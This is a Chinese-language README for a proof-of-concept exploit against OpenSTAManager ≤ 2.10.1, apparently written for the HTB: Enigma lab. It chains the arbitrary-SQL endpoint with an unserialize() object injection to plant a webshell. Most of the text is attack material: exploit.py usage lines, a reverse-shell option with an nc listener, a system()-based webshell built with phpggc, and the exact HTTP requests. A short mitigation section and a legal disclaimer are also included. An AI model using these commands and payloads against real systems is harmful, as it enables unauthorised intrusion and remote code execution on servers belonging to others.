针对 OpenSTAManager ≤ 2.10.1 远程代码执行的 PoC。
oauth2.php 通过攻击者可控的 state GET 参数查找 zz_oauth2 行,并在没有 allowed_classes 限制的情况下对其 access_token 列调用 unserialize()(Models\OAuth2::checkTokens() / getAccessToken())。这是一个 PHP 对象注入点。
单独来看它无法被利用——你无法放置对象。与 Aggiornamenti 模块中的无限制任意 SQL 功能(op=risolvi-conflitti-database,2.9.x 系列没有查询白名单——GHSA-2fr7-cc4f-wh98)链式利用后,经过身份验证的管理员可以将序列化的 POP gadget INSERT 到 zz_oauth2.access_token 中,然后请求 oauth2.php 触发它。
auth (管理员)
└─ POST /actions.php op=risolvi-conflitti-database ← 任意 SQL
└─ 将 gadget blob INSERT 到 zz_oauth2.access_token(以 `state` 为键)
└─ GET /oauth2.php?state=<state>&code=x
└─ Models\OAuth2::configure() → needsConfiguration()
→ getAccessToken() → checkTokens() → unserialize($access_token)
└─ POP gadget __destruct() → 文件写入
└─ GET /<webshell>.php?c=<cmd> ← 以 Web 用户身份执行代码
⚠️ 仅限授权测试。 发布用于教育、CTF 演练(针对 HTB: Enigma 编写)和防御性研究。对你不拥有或未经明确书面许可的系统运行它是违法的。不提供任何担保。参见 LICENSE。
2.9.x 代码树捆绑了 monolog/monolog ^3.0,因此此 PoC 使用 Monolog 3.x 文件写入 gadget(phpggc Monolog/FW1)来投放 webshell。这刻意避免依赖 system()/exec() 是否启用或存在哪些 Laravel 组件。
requests — pip install -r requirements.txtphpggc + php CLI 位于 PATH 中(仅用于构建 gadget;或使用 --payload-file 提供预构建的 blob)git clone https://github.com/ambionics/phpggc
export PATH="$PWD/phpggc:$PATH"
pip install -r requirements.txt
./exploit.py -u http://TARGET -U admin -P 'password' [action]
actions:
--cmd 'id' 运行单条命令,打印输出
--shell 简易交互式提示符
--lhost 10.10.14.5 --lport 4444 bash 反向 shell
--drop-only 仅投放 webshell,打印其 URL
常用参数:
--module-id 6 Aggiornamenti 模块 ID(默认 6)
--phpggc ./phpggc/phpggc phpggc 的路径
--payload-file blob.bin 跳过 phpggc,使用预生成的 Monolog/FW1 blob
--webshell-name name.php 在 Web 根目录中投放的文件名
--proxy http://127.0.0.1:8080
--keep 保留注入的 zz_oauth2 行
# 验证 RCE
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --cmd 'id; uname -a'
# 交互式
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --shell
# 反向 shell(先运行 `nc -lvnp 4444`)
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --lhost 10.10.14.5 --lport 4444
手动预生成 gadget(与脚本所做操作等效):
printf '%s' '<?php echo "|OSMSH|"; @system($_GET["c"]); ?>' > ws.php
phpggc -a -f Monolog/FW1 osm_shell.php ws.php > blob.bin
./exploit.py -u http://TARGET -U admin -P pass \
--payload-file blob.bin --webshell-name osm_shell.php --cmd id
-a = ASCII 安全的 S: 字符串编码(可逐字节在 TEXT 列中存活);
-f = 快速析构(对象在 unserialize() 后立即触发,早于 OpenSTAManager 对其调用 ->hasExpired() 并抛出异常)。
POST /index.php op=login&username=&password=(成功 = 302 跳离 index.php)。POST /actions.php
op=risolvi-conflitti-database&id_module=6&queries=<json-array>。每个元素都会传递给 $dbo->query();2.9.x 分支不应用任何白名单。PoC 追加一对 CREATE TABLE … / DROP TABLE … 以强制隐式 COMMIT(否则该端点会将写入留在未提交的事务中)。该处理器还会回显 MySQL 错误文本,从而提供 extractvalue() 读取预言机(代码中的 OSM.sql_extract())。zz_oauth2 INSERT 一行,包含已知的 state 和 ; 设置为真实提供商 。unserialize($v, ['allowed_classes' => [AccessToken::class]]),且 Aggiornamenti SQL 执行器已加入白名单。modules/aggiornamenti/ 限制为受信任的管理员;监控 zz_oauth2 的写入和对 oauth2.php 的请求。在攻克 HTB: Enigma 期间完成的研究与 PoC。
| 产品 | OpenSTAManager(devcode-it/openstamanager) |
| 对象注入点 | ≤ 2.10.1 — 在 2.10.2 中修复(unserialize($v, ['allowed_classes' => [AccessToken::class]])) |
| 任意 SQL 链 | 2.9.x 系列(risolvi-conflitti-database 在 2.10.x 后期才加入白名单) |
| 已验证环境 | 2.9.8,PHP 8.3,MySQL 8.0 |
access_token = 0x<hex(gadget)>classModules\Emails\OAuth2\GoogleGET /oauth2.php?state=<state>&code=x。configure() 调用 needsConfiguration() → getAccessToken() → checkTokens() → unserialize($this->access_token),且没有 allowed_classes。Monolog gadget 的 __destruct 写入 webshell。响应为 HTTP 500 — 符合预期。GET /<webshell>?c=<cmd> → system()。